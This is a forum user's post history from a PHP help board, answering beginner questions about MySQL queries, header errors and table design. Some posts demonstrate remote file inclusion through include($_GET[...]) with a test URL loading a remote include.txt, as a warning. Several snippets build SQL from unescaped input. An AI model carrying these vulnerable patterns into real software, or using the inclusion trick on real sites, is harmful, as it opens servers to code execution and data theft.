Jump to content

premiso

Members
  • Posts

    6,951
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by premiso

  1. Ya i agree with you BlueSkyIS Agree with what? Poor rambling of non-sense? Here is a test for you, if you think include is the way to go: Create this file on a site somewhere other than your main site, whether it is on a free hosted site or what I do not know: include.txt <?php echo 'If you see this without the echo you have just been screwed by this file'; ?> Then create a test.php on your main site: <?php include($_GET['test']); ?> Then reference your site via the following: http://www.yoursite.com/test.php?test=http://www.othersite.com/include.txt Let me know what you see on that test page. I bet you will just see "If you see this without the echo you have just been screwed by this file" and none of the other code. Now all I have to do is write file operations in that code, and I can take down your whole system easily. I can even erase files, and most importantly overwrite/rename/display code. Now that that part is aside here is one way to print out code without executing it: <?php $file = file_get_contents($_GET['website']); echo $header_data; // incase you have a header like on the sites example you need to print that out first echo $file; echo $footer_data; // footer comes last etc. ?>
  2. Always fun. You need some type of filter, but for the most part any request needs to be ported through a processing file. In this file I would do a check to see if the random-webpage.php exists. If it does than you send the user to that page if not, than it is a fake and you split up the file name and pass it to the correct location using the include as you have shown. It is more complicated than explained, but that is the gist of it.
  3. <?php $nick = $_SESSION["myusername2"]; $query="SELECT access FROM `user` WHERE 'username' = $nick"; $result=mysql_query($query) or die(hmm); $num = mysql_num_rows($result); $isAdmin = ($result['access'] == "admin")?true:false; if ($isAdmin) { echo "<admin user page>"; } else{ echo "<members user page>"; } ?> A note <? has been depreciated, use <?php That is a basic usage given there are only 2 roles, admin and member. Then anytime you need to display admin feature you check isAdmin.
  4. Ok, where is the html file and php file? Where are the links? IIS and Apache are two different servers and handle things differently. Some code will help you get an answer quicker. Your asking a blind man to hit a 100mph fastball, not gonna happen.
  5. <?php $query = "SELECT * FROM news WHERE club_id = '$club_id' ORDER BY 'news_id' DESC LIMIT 3"; $result = mysql_query($query); $rows = mysql_num_rows($result); while ($row = mysql_fetch_assoc($result)) { echo "<b>Title: </b>" ; echo $row['title']; ?> <hr> <?php } ?> <a href='news.php'>Read More</a> <br> <?php if ($rows < 1) { echo "No news yet"; } ?> Should fix it. Since $row was an array that was not a valid check. www.php.net/mysql_num_rows
  6. Are you sure you started the xamp Apache server? Apache must be running. Also, what is the link that you have on the .html page to the .php page, perhaps that could be the issue. Make sure there are no infinite loops on the php page. Some code would be helpful, perhaps one .html file with one of the php files it is linked to, to make sure that is not the issue.
  7. They probably have a validation filter setup. The dangerous aspect of that is anyone can modify that url and point it to a file on their site which runs on your site. http://www.yoursite.com/link.php?go=http://www.mysite.com/include.txt Whatever is in the include .txt file will now execute due to the include statement. I could then overwrite your index.php file, or read any file contents I want and write them as a txt file and then open those text files which could give me database access or even just code. Instead what tamilflame is doing is using www.php.net/file_get_contents which does not execute code, instead just grabs it in a string/array and printing it to the screen. The limitation to this is if you are on shared hosting, chances are it will not work due to security settings for the above mentioned.
  8. Written like a pro, I would suggest this to avoid the extra else =) if (trim($child1name) != "") { // insert } A bit more efficient.
  9. Do an if statement before the insert. If child2 field is not blank then write the insert statement. Basic programming there...
  10. Have you tried http://php.net/simplexml ???
  11. Using mjdomato's code provided (which is very nice) here is an alternative: <?php $lines = file('test_read.txt'); foreach ($lines as $line) { list($field, $value) = explode("=", $line); $value = substr(trim($values), 0, 1); echo get_html($field, $value); } function get_html($tag, $value) { switch(trim($tag)) { case 'checkbox': return "<input type=\"checkbox\" name=\"userbox\" value=\"$value\">$value"; break; case 'radio': return "<input type=\"radio\" name=\"userbox\" value=\"$value\">$value"; break; // more cases below if needed. } } ?> That way its more versatile returning it because you can then use this in other sites and keep that code in a functions file. Just another way of doing it.
  12. I would highly suggest you read up on proper database coding, and 3rd normal form. It will save headaches later on. To get your code to work mysql_query("INSERT INTO `parents` (agency, contact, email, telephone, p_first, p_last, p_phone, comments, certify) VALUES ('$agency', '$contact', '$email', '$telephone', '$p_first', '$p_last', '$p_phone', '$comments', '$certify)") OR DIE(mysql_error()); $parentID = mysql_insert_id(); mysql_query("INSERT INTO `children` (parentID, child1name, child1age, child1sex, child1shirt. child1pants, child1comment) VALUES ('$parentID', '$child1name', '$child1age', '$child1sex', '$child1shirt', '$child1pants', '$child1comment')") OR DIE(mysql_error()); mysql_query("INSERT INTO `children` (parentID, child2name, child2age, child2sex, child2shirt. child2pants, child2comment) VALUES ('$parentID', '$child2name', '$child2age', '$child2sex', '$child2shirt', '$child2pants', '$child2comment')") OR DIE(mysql_error()); Add OR DIE(mysql_error()); At the end of each mysql_query call. This will tell you if your data that you are putting into the query is flawed (which chances are it is).
  13. Extracting will not work within a loop. No real reason to extract anyways I would suggest this: while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) { $rows = $row; } foreach ($rows as $row) { echo $row['greeted']; // or now extract($row); echo $greeted; } You will have to use the extracted values before the loop continues on if that is the way you choose to go.
  14. include("$_GET['go']"); SHOULD BE include($_GET['go']); I do not recommend using $_GET as includes without filtering due to exploits that can screw up your server. Verify the data in $_GET first.
  15. Ok, you want to do this in 3rd Normal Form, as it is faster and makes it much less of a headache. Google that for more information (or 3NF) Basically you want 3 tables for this. Agency, Parents, Children Using the mysql_insert_id() you want to insert the parent first. Parent Table: parent_id parent_name Child Table: child_id parent_id child_name child_age Agency Table: agency_id parent_id agency_name Using that structure you insert parent first, then children using the parent id then agency using the parent id also. This will allow you to associate multiple records with one parent with fast sql searching and a single parent can have unlimited children. I am rushed right now, but will reply back if needed later on.
  16. Given the vague description without a real coding example you want to use the foreach loop www.php.net/foreach Whether it needs to be nested or not I am un-sure, but you also want the food table to be in it's own associative array, or store the name of the food with the id in the restaurants table. If you store just the ID in the resturaunts table and the food has it's own master array that is associative by the id, you can simply call $food[$id] which should print out the name, given the food array structure is like: $food = array(1 => "Pizza", 34 => "Candy"); Then $food[1] would print "Pizza". If you want better help, paste current code with the array structures.
  17. It is interesting to see the other's posts. Javascript redirects are unnecessary if you use proper coding or if they are required for a specific reason (which I cannot think of right now). How sites should be coded, using my own experience, is by storing all output into a string variable and printing all the output at once, which will avoid any header issues. Simply stated here, he just needs to remove the whitespace. The output buffer is overkill as it will slow down the process of the script and potentially tie up some memory on the server and if your website has a lot of traffic it will cause speed issues later down the line; Which is why I say it is inefficient. I have tested my theory and proven that using output buffer is a lot slower than just printing the data and doing everything like it should be, and not putting a band-aid on an open wound. Solve the problem at it's core and you will have less problems later on. The output buffering is handy in certain situations, for example using GZip compression, but using it because you do not want to go back and remove whitespaces and making sure your script is not outputting before header calls is half-assed and just lazy and chances are you will eventually go back and fix it at some point, so might as well take care of the issue now instead of a few months later after more code depends on the band-aid and a whole new structure has to be written. Again this is just from personal experience and my own opinion from what I have encountered in my 10 years of programming. It is better to do something right the first time then have to fix it two to three more times. Efficiency is key here in more than just the code itself, but your time as well.
  18. Why create a loop? Whenever an item is added or removed, change the total accordingly...Since you know when it needs to happen, no need to loop.
  19. In short, no. The while loop has to be in there or a for loop or a for each loop. But one way or the other to get the data out of MySQL you have to loop through it. While is generally the best solution. For a tutorial, google PHP MySQL tutorial and a ton should pull up. I believe this site has one, plus many other sites.
  20. <?php $con = mysql_connect("localhost","root","administrator"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $result = mysql_query("SELECT details FROM test WHERE first_name = 'scooter'"); echo "<table border='1'> <tr> <th>Details</th> </tr>"; echo "</table>"; while($row = mysql_fetch_array($result)) { echo $row['details']; echo '<input type="text" name="q" size="16" value="'. $row["details"] .'"/>'; } ?> </body> </html> mysql_close is not needed. You needed to put the input inside the loop.
  21. =) The only issue with output buffering is efficiency and it is considered sloppy/poor programming. The best way is to do it is do it correctly and use items as they are intended to be used. It is an alternative option, but in my opinion it is not an option for my reasoning above. When you get into much larger scripts you will see why the output buffer option is half-assed.
  22. ?> <?php Any blank spaces counts as output, if there are any in the include files remove them. ALso you do not need to go in and out of PHP soo many times. This would suffice <?php require_once('../Connections/DM_database.php'); include_once("../includes/functions.php"); if (isset($_GET["Product_ID"])) { $ProductID = $_GET["Product_ID"]; } elseif (isset($_POST["Product_ID"])) { $ProductID = $_POST["Product_ID"]; $_GET["Product_ID"] = $ProductID; } else { $_GET["Product_ID"] = "1"; $ProductID = $_GET["Product_ID"]; } if (isset($_POST['AddToCart'])) { $qty = "1"; $newstring = ""; $i = 1; foreach ($_POST["Component_ID"] as $type => $component) { if ($i == 1) { $newstring = $component; ++$i; } else { $newstring = $newstring . ", " .$component; } } $query = "INSERT INTO tblshoppingcart (`Cookie_ID`, `Product_ID`, `Component_ID`, `qty`) VALUES ('" . GetCartId() . "', " . intval($ProductID) . ", '" . $newstring . "', " . intval($qty) . ")"; mysql_query($query) or die("query='$query '<br>".mysql_error()); header("Location: cart.php"); } else { And I am talking about blank spaces outside of the php tags btw. That should work, given the same situation does not happen in your include files.
  23. I believe it is a ini_set feature for the include_path That may help, not sure. (Might also be able to do it via .htaccess)
  24. http://www.google.com/search?hl=en&q=php+ip+to+country&btnG=Google+Search Sure is.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.